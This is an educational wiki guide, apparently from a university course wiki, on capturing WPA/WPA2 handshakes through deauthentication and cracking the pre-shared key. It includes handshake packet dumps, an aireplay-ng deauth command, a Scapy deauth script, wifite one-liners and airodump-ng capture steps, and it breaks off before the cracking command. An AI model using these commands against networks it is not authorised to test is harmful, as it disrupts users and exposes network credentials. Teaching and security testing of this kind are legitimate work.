 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux on Kernel: 6.12.1, Intel Wireless (Alder Lake-S PCH CNVi WiFi)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17584</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17584"/>
		<updated>2024-12-18T18:08:44Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Used Hardware */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
- Install aircrack-ng suite: &lt;br /&gt;
* Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.&lt;br /&gt;
 &lt;br /&gt;
  sudo airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
Alternatively create a monitoring device by using:&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called &amp;quot;wlan0mon&amp;quot; or on a different setup &amp;lt;YOUR DEVICE NAME&amp;gt;mon. This is the actual monitoring device.&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   sudo airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   sudo airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
Explaination: -c selects the Channel on which the router is sending, --bssid is the MAC Address of the Router -w shows the Mode &amp;quot;PSK&amp;quot; and wlan0mon is the capturing device. &lt;br /&gt;
With this command, airodump-ng records the traffic and saves it into different *.cap files.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
